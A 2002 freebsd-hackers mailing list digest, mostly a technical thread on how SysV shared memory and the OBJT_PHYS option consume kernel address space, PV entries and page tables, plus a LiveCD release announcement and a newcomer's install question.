helo=mindspring.com) by albatross.prod.itd.earthlink.net with esmtp (Exim 3.33 #2) id 17MwcT-0003mZ-00; Tue, 25 Jun 2002 13:08:57 -0700 Message-ID: <3D18CDB2.151978F3@mindspring.com> Date: Tue, 25 Jun 2002 13:08:18 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Alfred Perlstein Cc: Patrick Thomas , freebsd-hackers@freebsd.org Subject: Re: tunings for many httpds... References: <20020624151650.I68572-100000@utility.clubscholarship.com> <3D17D27A.11E82B2B@mindspring.com> <20020625022238.GH53232@elvis.mu.org> <3D17DBC1.351A8A35@mindspring.com> <20020625072509.GJ53232@elvis.mu.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Alfred Perlstein wrote: > > > You keep saying this but the backing object allocated for sysvshm > > > is taken from either an OBJT_PHYS or OBJT_SWAP object. > > > > Uh, it's only ever an OBJT_SWAP; see line 532 of kern/sysv_shm.c. > > Your sources seem to be really out of date... Yes. I was referring to FreeBSD 4.4; looking at FreeBSD 4.5 shows that OBJT_PHYS is supported there, though it's off by default. > > > At what point does it eat KVA that is other than for the backing > > > data structures? > > > > It eats address space, not RAM. And even if the mappings are not > > active (which they usually are, because of LRU and processes > > accessing them shared), the pages containing the page table entries > > for each process are themselves not swappable; anything with a > > large VSZ is going to eat 1/4k pages in KVA there, too. > > > > Ask yourself where a shared memory segment lives when it's not in > > attached to one process address space, prior to you ipcrm'ing it. > > It has to remain referenced so it isn't reclaimed. > > Yes, but not mapped into the kernel's address space right? right??? Not for OBJT_PHYS, it seems: * Note: PG_UNMANAGED (used by OBJT_PHYS) indicates that the page is * not under PV management but otherwise should be treated as a * normal page. Pages not under PV management cannot be paged out * via the object/vm_page_t because there is no knowledge of their * pte mappings, nor can they be removed from their objects via * the object, and such pages are also not on any PQ queue. Looks like it just eats physical memory. If you look at the commit message on version 1.48, you'll see that without this option specified by the user, it eats KVA space, since it eats KVM. The OBJT_PHYS was added specifically to support not eating KVA space (by Peter, for Oracle, according to the comment). I guess he could try: sysctl -w kern.ipc.shm_use_phys=1 To set the shared memory behaviour away from the default, to make the postgres leave that 64M of KVA alone. If the siezeing problem is a result of running out of KVA space for mappings, rather than out of physical RAM, this could recover some for him. [ God, if it takes this long to arrive at all the tunables, life is really going to suck... 8-) ] The disadvantage seems to be that it eats real memory, and still takes mappings on a per process basis out of KVA space, but it's a factor of 1024 below the overhead without the option. The fact that it's soaking up real memory in a non-pageable way seems to mean that it should not be on by default (it isn't), but it's an interesting optimization for large databases on machines with a lot of physical RAM. It's tempting to precreate mappings for all of KVA space. THat would really change the dynamics of some of the recent problems; among other things, it should make interrupt allocations easier, no matter what the allocator (the zone interrupt allocation works by preassigning the KVA space to the zone; the fundamental thing it does is establish mappings for it... if you had preexisting mappings for all of KVA, then you would not have to dedicate the space to a particular zone at boot time, you could reallocate it at runtime, which would mean that a maxfiles change could really increase the number of network connections, rather than just pretending to do so). -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Jun 25 14: 8:12 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by hub.freebsd.org (Postfix) with ESMTP id 4D7F737B40E for ; Tue, 25 Jun 2002 14:06:34 -0700 (PDT) Received: by elvis.mu.org (Postfix, from userid 1192) id 1F7C1AE2AC; Tue, 25 Jun 2002 14:06:34 -0700 (PDT) Date: Tue, 25 Jun 2002 14:06:34 -0700 From: Alfred Perlstein To: Terry Lambert Cc: Patrick Thomas , freebsd-hackers@freebsd.org Subject: Re: tunings for many httpds... Message-ID: <20020625210633.GQ53232@elvis.mu.org> References: <20020624151650.I68572-100000@utility.clubscholarship.com> <3D17D27A.11E82B2B@mindspring.com> <20020625022238.GH53232@elvis.mu.org> <3D17DBC1.351A8A35@mindspring.com> <20020625072509.GJ53232@elvis.mu.org> <3D18CDB2.151978F3@mindspring.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3D18CDB2.151978F3@mindspring.com> User-Agent: Mutt/1.3.27i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG * Terry Lambert [020625 13:08] wrote: > > > > > At what point does it eat KVA that is other than for the backing > > > > data structures? > > > > > > It eats address space, not RAM. And even if the mappings are not > > > active (which they usually are, because of LRU and processes > > > accessing them shared), the pages containing the page table entries > > > for each process are themselves not swappable; anything with a > > > large VSZ is going to eat 1/4k pages in KVA there, too. > > > > > > Ask yourself where a shared memory segment lives when it's not in > > > attached to one process address space, prior to you ipcrm'ing it. > > > It has to remain referenced so it isn't reclaimed. > > > > Yes, but not mapped into the kernel's address space right? right??? > > Not for OBJT_PHYS, it seems: > > * Note: PG_UNMANAGED (used by OBJT_PHYS) indicates that the page is > * not under PV management but otherwise should be treated as a > * normal page. Pages not under PV management cannot be paged out > * via the object/vm_page_t because there is no knowledge of their > * pte mappings, nor can they be removed from their objects via > * the object, and such pages are also not on any PQ queue. > > Looks like it just eats physical memory. Which is still not mapped in kernel memory. > If you look at the commit message on version 1.48, you'll see that > without this option specified by the user, it eats KVA space, since > it eats KVM. The OBJT_PHYS was added specifically to support not > eating KVA space (by Peter, for Oracle, according to the comment). I don't need this lesson, I'm the one that fixed this option to work with multiple shared segments.... :) This is also the _default_ for how solaris manages sysv segments, although it would be nice if we could get the OBJT_PHYS stuff to use 4meg pages (unless someone already did that?)... Anyhow, I'm glad we corrected your misconception and we now have a more accurate understanding of how this system works. -Alfred To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Jun 25 15: 9:32 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 328CF37B407 for ; Tue, 25 Jun 2002 15:09:20 -0700 (PDT) Received: from apollo.backplane.com (localhost [127.0.0.1]) by apollo.backplane.com (8.12.3/8.12.3) with ESMTP id g5PM9Jl1010544; Tue, 25 Jun 2002 15:09:19 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.12.3/8.12.3/Submit) id g5PM9J79010543; Tue, 25 Jun 2002 15:09:19 -0700 (PDT) (envelope-from dillon) Date: Tue, 25 Jun 2002 15:09:19 -0700 (PDT) From: Matthew Dillon Message-Id: <200206252209.g5PM9J79010543@apollo.backplane.com> To: Alfred Perlstein Cc: Terry Lambert , Patrick Thomas , freebsd-hackers@FreeBSD.ORG Subject: Re: tunings for many httpds... References: <20020624151650.I68572-100000@utility.clubscholarship.com> <3D17D27A.11E82B2B@mindspring.com> <20020625022238.GH53232@elvis.mu.org> <3D17DBC1.351A8A35@mindspring.com> <20020625072509.GJ53232@elvis.mu.org> <3D18CDB2.151978F3@mindspring.com> <20020625210633.GQ53232@elvis.mu.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG : :This is also the _default_ for how solaris manages sysv segments, :although it would be nice if we could get the OBJT_PHYS stuff to :use 4meg pages (unless someone already did that?)... : :Anyhow, I'm glad we corrected your misconception and we now have :a more accurate understanding of how this system works. : :-Alfred Even more importantly it would be nice if we could share compatible pmap pages, then we would have no need for 4MB pages... 50 mappings of the same shared memory segment would wind up using the same pmap pages as if only one mapping had been made. Such a feature would work for SysV shared memory and for mmap()s. I've looked at doing this off and on for two years but do not have a sufficient chunk of time available yet. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Jun 25 15:26:55 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from overcee.wemm.org (12-232-114-102.client.attbi.com [12.232.114.102]) by hub.freebsd.org (Postfix) with ESMTP id 7481A37B400 for ; Tue, 25 Jun 2002 15:26:28 -0700 (PDT) Received: from wemm.org (localhost [127.0.0.1]) by overcee.wemm.org (Postfix) with ESMTP id B7C7D3811; Tue, 25 Jun 2002 15:26:32 -0700 (PDT) (envelope-from peter@wemm.org) X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Matthew Dillon Cc: Alfred Perlstein , Terry Lambert , Patrick Thomas , freebsd-hackers@FreeBSD.ORG Subject: Re: tunings for many httpds... In-Reply-To: <200206252209.g5PM9J79010543@apollo.backplane.com> Date: Tue, 25 Jun 2002 15:26:32 -0700 From: Peter Wemm Message-Id: <20020625222632.B7C7D3811@overcee.wemm.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Matthew Dillon wrote: > > : > :This is also the _default_ for how solaris manages sysv segments, > :although it would be nice if we could get the OBJT_PHYS stuff to > :use 4meg pages (unless someone already did that?)... > : > :Anyhow, I'm glad we corrected your misconception and we now have > :a more accurate understanding of how this system works. > : > :-Alfred > > Even more importantly it would be nice if we could share compatible > pmap pages, then we would have no need for 4MB pages... 50 mappings > of the same shared memory segment would wind up using the same pmap > pages as if only one mapping had been made. Such a feature would work > for SysV shared memory and for mmap()s. I've looked at doing this > off and on for two years but do not have a sufficient chunk of time > available yet. SVR4/Solaris/Digital Unix^H^H^H^H^H^HTru64 do this by having an additional layer between VM and pmap. The equivalent of our pmap is just another one of the address space handlers. The SHM stuff etc is often implemented such that it grabbed blocks of 4MB address space to manage in a way that it likes. This means it constructs its own page tables etc in such a way that they are suitable for common use. *If* I recall correctly, in SunOS/SVR4/ Solaris parlance this is the segment layer. Naturally there is quite a bit of variation. It has been a long long time since I looked at this. Cheers, -Peter -- Peter Wemm - peter@wemm.org; peter@FreeBSD.org; peter@yahoo-inc.com "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Jun 25 16:13:38 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from swan.mail.pas.earthlink.net (swan.mail.pas.earthlink.net [207.217.120.123]) by hub.freebsd.org (Postfix) with ESMTP id 630E937B401 for ; Tue, 25 Jun 2002 16:13:32 -0700 (PDT) Received: from pool0043.cvx22-bradley.dialup.earthlink.net ([209.179.198.43] helo=mindspring.com) by swan.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 17MzUf-0001iZ-00; Tue, 25 Jun 2002 16:13:05 -0700 Message-ID: <3D18F8D8.F780CBF7@mindspring.com> Date: Tue, 25 Jun 2002 16:12:24 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Alfred Perlstein Cc: Patrick Thomas , freebsd-hackers@freebsd.org Subject: Re: tunings for many httpds... References: <20020624151650.I68572-100000@utility.clubscholarship.com> <3D17D27A.11E82B2B@mindspring.com> <20020625022238.GH53232@elvis.mu.org> <3D17DBC1.351A8A35@mindspring.com> <20020625072509.GJ53232@elvis.mu.org> <3D18CDB2.151978F3@mindspring.com> <20020625210633.GQ53232@elvis.mu.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Alfred Perlstein wrote: > I don't need this lesson, I'm the one that fixed this option to > work with multiple shared segments.... :) > > This is also the _default_ for how solaris manages sysv segments, > although it would be nice if we could get the OBJT_PHYS stuff to > use 4meg pages (unless someone already did that?)... > > Anyhow, I'm glad we corrected your misconception and we now have > a more accurate understanding of how this system works. Yes. Bye default, it works just like I said it did, and if you twiddle an undocument option which is off by default, it works like how you thought it worked by default. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Jun 25 16:44:50 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from scaup.mail.pas.earthlink.net (scaup.mail.pas.earthlink.net [207.217.120.49]) by hub.freebsd.org (Postfix) with ESMTP id 1676F37B406 for ; Tue, 25 Jun 2002 16:44:27 -0700 (PDT) Received: from pool0043.cvx22-bradley.dialup.earthlink.net ([209.179.198.43] helo=mindspring.com) by scaup.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 17Mzyn-0003OJ-00; Tue, 25 Jun 2002 16:44:14 -0700 Message-ID: <3D190023.4BA9D75F@mindspring.com> Date: Tue, 25 Jun 2002 16:43:31 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Matthew Dillon Cc: Alfred Perlstein , Patrick Thomas , freebsd-hackers@FreeBSD.ORG Subject: Re: tunings for many httpds... References: <20020624151650.I68572-100000@utility.clubscholarship.com> <3D17D27A.11E82B2B@mindspring.com> <20020625022238.GH53232@elvis.mu.org> <3D17DBC1.351A8A35@mindspring.com> <20020625072509.GJ53232@elvis.mu.org> <3D18CDB2.151978F3@mindspring.com> <20020625210633.GQ53232@elvis.mu.org> <200206252209.g5PM9J79010543@apollo.backplane.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Matthew Dillon wrote: > Even more importantly it would be nice if we could share compatible > pmap pages, then we would have no need for 4MB pages... 50 mappings > of the same shared memory segment would wind up using the same pmap > pages as if only one mapping had been made. Such a feature would work > for SysV shared memory and for mmap()s. I've looked at doing this > off and on for two years but do not have a sufficient chunk of time > available yet. For the KVA, this should be one of the side effects of doing preestablished mappings for the entire KVA space. This would default to 1M of memory used for mappings for 4K pages, or none, for 4M pages, for mapping the entirety of the KVA. The issue that 4M pages would introduce here, though, is the inability to page kernel memory on 4K boundaries. Personally, I think I would rather eat the 1M of page tables for the 1G of KVA. Mapping all of physical memory would take physical/1024; for 4G, that works out to 4M. I'm not sure if these mappings could really be shared. If they could, then it would eliminate a lot of issues, like reverse notification in the case of a swap out of a page shared between processes, etc.. I think both of these would end up introducing additional problems, though. One of these would be what to do when your memory is not closely approaching your address space (4M of 32M or 64M is a substantial chunk, for mapping an address space that can not, in practice, be used). Another would be that you would not have unmapped kernel memory. This would make it hard to implement guard pages (on the plus side, there would be no more "trap 12" panics 8-) 8-)). Things tend to change considerably when you close in on the physical RAM approaching the physical address space in size; historically all the assumptions have been that this would not be the case. While there's some benefit to rexamining some of these assumptions, going to a 64 bit address space with IA64 and Hammer architectures is just going to reset the assumptions back down. I think that some of th stuff that you've done already with regard to preallocation policy on close approach (the machdep.c changes that were discussed in this thread already) is close to the limits of what can be done reasonably, without damaging the system in the "physical_address_space/physical_RAM >> 1" cases. When I suggested pre-creating mappings for all of the KVA space (and *only* the KVA space), I was really trying to talk about unification of allocators, and dropping of areas of code that would otherwise require locking to operate correctly, and avoiding committing memory to a particular zone. That is, I don't think it's something that can be done generally to share mappings to avoid duplication -- even if the segments end up attached at the same address in multiple processes. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Jun 25 17: 0:59 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by hub.freebsd.org (Postfix) with ESMTP id 13FBE37B406 for ; Tue, 25 Jun 2002 16:59:57 -0700 (PDT) Received: from pool0043.cvx22-bradley.dialup.earthlink.net ([209.179.198.43] helo=mindspring.com) by avocet.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 17N0Dj-0007G5-00; Tue, 25 Jun 2002 16:59:40 -0700 Message-ID: <3D1903C1.562627A1@mindspring.com> Date: Tue, 25 Jun 2002 16:58:57 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Matthew Dillon , Alfred Perlstein , Patrick Thomas , freebsd-hackers@FreeBSD.ORG Subject: Re: tunings for many httpds... References: <20020624151650.I68572-100000@utility.clubscholarship.com> <3D17D27A.11E82B2B@mindspring.com> <20020625022238.GH53232@elvis.mu.org> <3D17DBC1.351A8A35@mindspring.com> <20020625072509.GJ53232@elvis.mu.org> <3D18CDB2.151978F3@mindspring.com> <20020625210633.GQ53232@elvis.mu.org> <200206252209.g5PM9J79010543@apollo.backplane.com> <3D190023.4BA9D75F@mindspring.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Terry Lambert wrote: > Things tend to change considerably when you close in on the > physical RAM approaching the physical address space in size; > historically all the assumptions have been that this would not > be the case. While there's some benefit to rexamining some of > these assumptions, going to a 64 bit address space with IA64 > and Hammer architectures is just going to reset the assumptions > back down. Let me back-track a little here. It might be worthwhile to do this for code pages for application software, if you end up running a lot of instances of a single program image (as opposed to "a single program, different images". Arguably, you should maybe be using threads for that; however, it could be a win in the case in the "Subject:" line. I think in the case that spawned this thread that most of the httpd's are not running the same vnode object (either a jail local copy or a read-only nullfs mount yields a different vm_object_t), so it wouldn't help there, but for a single installation running a lot of copies of one program, it's more likely to be helpful (e.g. "one big mail server" or "one big web server"). -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Jun 25 17:23:23 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from overcee.wemm.org (12-232-114-102.client.attbi.com [12.232.114.102]) by hub.freebsd.org (Postfix) with ESMTP id 777F537B403 for ; Tue, 25 Jun 2002 17:23:14 -0700 (PDT) Received: from wemm.org (localhost [127.0.0.1]) by overcee.wemm.org (Postfix) with ESMTP id C655D3811; Tue, 25 Jun 2002 17:23:18 -0700 (PDT) (envelope-from peter@wemm.org) X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: Alfred Perlstein , Patrick Thomas , freebsd-hackers@FreeBSD.ORG Subject: Re: tunings for many httpds... In-Reply-To: <3D18CDB2.151978F3@mindspring.com> Date: Tue, 25 Jun 2002 17:23:18 -0700 From: Peter Wemm Message-Id: <20020626002318.C655D3811@overcee.wemm.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Terry Lambert wrote: > If you look at the commit message on version 1.48, you'll see that > without this option specified by the user, it eats KVA space, since > it eats KVM. The OBJT_PHYS was added specifically to support not > eating KVA space (by Peter, for Oracle, according to the comment). Uhh, Terry, neither form of SHM uses KVA. Either pageable or physically backed. The memory is only mapped into processes and is NOT mapped into KVA anywhere. (*) The difference between the normal and phys version is that the phys version uses raw pages and is not pageable. Since it is not pageable, we do not need PV entries (which are used to remove mappings in other address spaces when we are forcibly paging out a page). There are no other differences. The page table pages are still not shared (and live in process address space, not KVA) between multiple users of the SHM segment. Sharing large SHM's many ways consumes physical memory for page table pages. Non-phys-backed massively-shared SHM's also consume PV entries (28 bytes each), for which we set a fixed limit set at boot time. [* - fragments get mapped during page IO in the swap backed case.] Cheers, -Peter -- Peter Wemm - peter@wemm.org; peter@FreeBSD.org; peter@yahoo-inc.com "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Jun 25 17:52: 7 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from scaup.mail.pas.earthlink.net (scaup.mail.pas.earthlink.net [207.217.120.49]) by hub.freebsd.org (Postfix) with ESMTP id 2AB3E37B400 for ; Tue, 25 Jun 2002 17:52:02 -0700 (PDT) Received: from pool0435.cvx40-bradley.dialup.earthlink.net ([216.244.43.180] helo=mindspring.com) by scaup.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 17N12E-0006kL-00; Tue, 25 Jun 2002 17:51:50 -0700 Message-ID: <3D190FFA.C7AE70BF@mindspring.com> Date: Tue, 25 Jun 2002 17:51:06 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Peter Wemm Cc: Alfred Perlstein , Patrick Thomas , freebsd-hackers@FreeBSD.ORG Subject: Re: tunings for many httpds... References: <20020626002318.C655D3811@overcee.wemm.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Peter Wemm wrote: > Uhh, Terry, neither form of SHM uses KVA. Either pageable or physically > backed. The memory is only mapped into processes and is NOT mapped into > KVA anywhere. (*) You and Alfred are right. It looks like this was corrected by John Dyson, shortly after he had checked it in to work that way. > The difference between the normal and phys version is that the phys version > uses raw pages and is not pageable. Since it is not pageable, we do not need > PV entries (which are used to remove mappings in other address spaces when > we are forcibly paging out a page). Yes. The difference I was seeing is in the PV entries. I was mistaking this for the other. It has 1/1024th the impact of what I had thought was happening. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Jun 25 18:46:45 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from silva5.uol.com.br (silva5.uol.com.br [200.231.206.218]) by hub.freebsd.org (Postfix) with ESMTP id 34AA937B408 for ; Tue, 25 Jun 2002 18:46:39 -0700 (PDT) Received: from dl-nas4-rio-C89AD9FD.p001.terra.com.br ([200.154.217.253]) by silva5.uol.com.br (8.9.1/8.9.1) with ESMTP id WAA07004 for ; Tue, 25 Jun 2002 22:48:11 -0300 (EST) Date: Tue, 25 Jun 2002 22:46:44 -0300 (BRT) From: Edson Brandi X-X-Sender: ebrandi.listas@eros.fugspbr.org To: freebsd-hackers@freebsd.org Subject: FreeBSD LiveCD ToolSet v. 1.2.2 Released Message-ID: <20020625223947.L1841-100000@eros.fugspbr.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Greetings from the LiveCD development team. It is our pleasure to announce the new version of the FreeBSD LiveCD Toolset. LiveCD 1.2.2 brings important changes to its functionality and, most important of all, documentation and dialogs in English ! Actually the project went through some changes to accept multi language support, English being the first to be developed. Additionally, now the LiveCD can be installed as a .tgz package, what adds a lot to its ease of use and it can now be used as a Instalation Disk, that allow you to install the system on your Hard Disk without any other Disk. It now supports batch-mode install, that allows one to easily automate any custom install process. As you know, this is a work in progress. Not only will the LiveCD itself have its capabilities improved, but the documentation is also being revised and extended, to offer greater support. We would like to invite you to visit the project's site at http://livecd.sourceforge.net To download and try out the new release. Also, we encourage you to send the development team your comments and suggestions. Please, email us using the address livecd@fugspbr.org Best regards, The FreeBSD LiveCD development team. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Jun 25 19:31:56 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from overcee.wemm.org (12-232-114-102.client.attbi.com [12.232.114.102]) by hub.freebsd.org (Postfix) with ESMTP id 5BDAB37B401 for ; Tue, 25 Jun 2002 19:31:50 -0700 (PDT) Received: from wemm.org (localhost [127.0.0.1]) by overcee.wemm.org (Postfix) with ESMTP id A70723910; Tue, 25 Jun 2002 19:31:54 -0700 (PDT) (envelope-from peter@wemm.org) X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert , Alfred Perlstein , Patrick Thomas , freebsd-hackers@FreeBSD.ORG Subject: Re: tunings for many httpds... In-Reply-To: <20020626002318.C655D3811@overcee.wemm.org> Date: Tue, 25 Jun 2002 19:31:54 -0700 From: Peter Wemm Message-Id: <20020626023154.A70723910@overcee.wemm.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Peter Wemm wrote: > There are no other differences. The page table pages are still not shared > (and live in process address space, not KVA) between multiple users of the > SHM segment. Sharing large SHM's many ways consumes physical memory for > page table pages. Non-phys-backed massively-shared SHM's also consume > PV entries (28 bytes each), for which we set a fixed limit set at boot time. Incidently, looking at the PV entry angle for a moment. Suppose you create a 1GB sysvshm (pageable) segment. That's 262144 pages. Mapping this once means you consume 262144 PV entries. At 28 bytes each, that is about 7.3MB of KVM. Now, fork this process 300 times. The numbers become 78643200 PV entries taking up about 2.2GB of PV entries that would like to fit in the 1G KVA space. We dont even nearly have a way to fit all this in. This is the killer reason for SHM_PHYS stuff. It avoids the PV load which has to fit into a single confined space. The cost of the page table pages sucks, but at least that is spread over the VM space of 300 processes. If we could contigmalloc 4MB blocks, or have some configurable quantity of 4MB blocks set aside at boot, we could avoid all of this pain. :-) sysvshm could arrange for that 1G of sysvshm to be wired in with 4MB chunks, skipping the page table pages, PV entries and all. Since the pages would have to be partitioned off and "outside" the 4K page pool, they wouldn't have to be demand paged. [You either allocate them or you cannot]. One of the linux vendors did something like this at one point if I recall correctly. It was essential to make oracle perform respectably. Cheers, -Peter -- Peter Wemm - peter@wemm.org; peter@FreeBSD.org; peter@yahoo-inc.com "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Jun 25 22:49:27 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp3.cyquator.com (smtp3.cyquator.com [202.46.193.25]) by hub.freebsd.org (Postfix) with SMTP id 7820C37B404 for ; Tue, 25 Jun 2002 22:49:20 -0700 (PDT) Received: (qmail 10915 invoked from network); 26 Jun 2002 05:48:30 -0000 Received: from unknown (HELO metasyssoftware.com) ([202.68.140.84]) (envelope-sender ) by smtp3.cyquator.com (qmail-ldap-1.03) with SMTP for ; 26 Jun 2002 05:48:30 -0000 Received: from sutlej [192.168.2.25] by metasyssoftware.com (FTGate 2, 2, 2, 1); Wed, 26 Jun 2002 12:04:27 +0530 Message-ID: <001e01c21c53$3fade720$1902a8c0@sutlej> From: "Prasad Iyer" To: Subject: about freebsd current version Date: Tue, 25 Jun 2002 19:48:59 +0530 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_001B_01C21C81.592A79B0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_001B_01C21C81.592A79B0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Sir, I have recently downloaded freebsd Current Version. I am new to Freebsd. I am installing Freebsd from DOS media. During the installation it is not able to find bin directory I search your FTP site for this directory but wasn't able to find it. Can you please help me with this. Your early reply would be highly appreciated. As a programmer I am very restless. Thanks=20 regards Prasad Iyer (india) ------=_NextPart_000_001B_01C21C81.592A79B0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Sir,
I have recently downloaded freebsd = Current=20 Version. I am new to
Freebsd. I am installing Freebsd from DOS media. = During=20 the
installation it is not able to find bin directory I search your=20 FTP
site for this directory but wasn't able to find it. Can you=20 please
help me with this.
Your early reply would be highly = appreciated. As=20 a programmer I am
very restless.
Thanks
regards
Prasad=20 Iyer
(india)
